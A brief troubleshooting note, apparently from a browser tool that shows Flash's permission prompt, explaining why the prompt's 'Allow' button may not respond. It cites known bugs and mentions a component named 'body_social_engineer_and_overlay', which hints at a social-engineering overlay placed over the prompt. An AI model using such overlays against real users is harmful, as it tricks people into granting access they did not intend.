    If you ever experience that the "Allow button" of the flash warning is not clickable, it can have several reasons:
    - Some CSS/Flash bug: http://stackoverflow.com/questions/3003724/cant-click-allow-button-in-flash-on-firefox
    - There is a bug in flash: http://forums.adobe.com/thread/880967
    - You overlayed (a single pixel is enough) the warning message with something (e.g. a div). Try to not include the
      body_social_engineer_and_overlay below and try again.
